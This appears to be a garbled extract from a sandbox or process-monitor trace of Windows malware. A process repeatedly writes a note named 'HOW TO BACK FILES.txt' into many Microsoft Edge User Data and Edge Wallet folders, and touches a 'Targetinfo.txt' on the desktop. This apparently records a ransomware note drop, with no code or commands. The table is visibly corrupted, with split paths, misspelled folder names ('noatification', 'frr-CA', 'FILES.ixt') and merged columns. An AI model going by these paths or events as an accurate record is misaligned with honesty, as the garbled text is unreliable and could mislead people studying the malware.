85.16360.19\json\i18n-hub\it\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\ja\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\n\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\pt-BR\AHOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\pt-PT\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\rut\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\sv\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\zh-Hans\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\zh-HantHOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-hub\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-mobile-hub\a\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-mobile-hub\de\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-mobile-hub\en-GB\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-mobile-hub\es\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-mobile-hub\fr HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-mobile-hub\fr-CA\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-mobile-hub\id\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-mobile-hub\ittHOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-mobile-hub\ja\HOW TO BACK generic write directory file

FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-mobile-hub\nN\HOW TO BACK generic write directory file
FILES.txt
C:\Users\user\Desktop\Targetinfo.txt read attributes |  device synchronous io  success or wait 1 E55F05 CreateFileW
synchronize | non alert | non
generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-mobile-hub\pt-BR\AHOW TO BACK  generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-mobile-hub\pt-PT\HOW TO BACK  generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-mobile-hub\ru\ HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-mobile-hub\s\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-mobile-hub\zh-Hans\HOW TO generic write directory file
BACK FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-mobile-hub\zh-HantHOW TO generic write directory file
BACK FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-mobile-hub\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\ar\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\de\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\en-GB\HOW TO BACK  generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\es\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\fA\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\frr-CA\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\id\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\itHOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\ja\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-notification\n\HOW TO BACK generic write directory file
FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non
85.16360.19\json\i18n-noatification\pt-BR\AHOW TO BACK  generic write directory file
FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification\pt-PT\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification\ru\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification\s"\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification\zh-Hans\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification\zh-Hant\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\ar\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\de\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\en-GB\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\es\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\frHOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\frr CA\HOW TO  generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-noatification-shared\id\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\itHOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-noatification-shared\ja\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\n\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\pt-BR\AHOW TO  generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\pt-PT\HOW TO  generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\rut\ HOW TO generic write directory file

BACK FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\sHOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\zh-Hans\HOW generic write directory file

TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-notification-shared\zh-Hant\HOW generic write directory file

TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-noatification-shared\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\a\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\de\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\en-GB\HOW generic write directory file

TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\es\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\frHOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\fr-CA\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\idHOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\it\tHOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\jaAHOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\n\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\pt-BRAHOW generic write directory file

TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\pt-PT\HOW generic write directory file

TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\ru\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\sv\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\zh-Hans\HOW  generic write directory file

TO BACK FILES.ixt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\zh-Hant\HOW  generic write directory file

TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-shared-components\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\a\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\de\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\en-GB\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\es\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\f\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\frr-CA\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\id\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\it\HOW TO BACK generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\jaAHOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\n\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\pt-BR\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\pt-PT\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\rudHOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\sv\HOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\zh-Hans\HOW TO  generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card\zh-Hant\HOW TO generic write directory file

BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\i18n-tokenized-card HOW TO BACK generic write directory file

FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\wallet\wallet-checkoutHOW TO BACK  generic write directory file

FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\wallet\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\json\HOW TO BACK FILES.ixt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\Mini-Walle\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\Notification\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\Tokenized-Card\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\Wallet-Checkout\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\116.163 synchronize | non alert | non

85.16360.19\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Edge Wallet\HOW TO  synchronize | non alert | non

BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\FirstPartySetsPrelo synchronize | non alert | non

aded\2023.9.25.0\_metadata\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\FirstPartySetsPrelo synchronize | non alert | non

aded\2023.9.25.0\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\FirstPartySetsPrelo synchronize | non alert | non

aded\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\GraphiteDawnCache\H = synchronize | non alert | non

OW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\GrShaderCache\HOW  synchronize | non alert | non

TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4 synchronize | non alert | non

906.0\_metadata\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4 synchronize | non alert | non

906.0\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\hyphen-data\HOW TO  synchronize | non alert | non

BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Nurturing\HOW TO BA  synchronize | non alert | non

CK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\OriginTrials\0.0.1. synchronize | non alert | non

AHOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\OriginTrials\HOW TO  synchronize | non alert | non

BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\PKIMetadata\7.0.0.0 synchronize | non alert | non

\HOW TO BACK FILES.txt generic write directory file

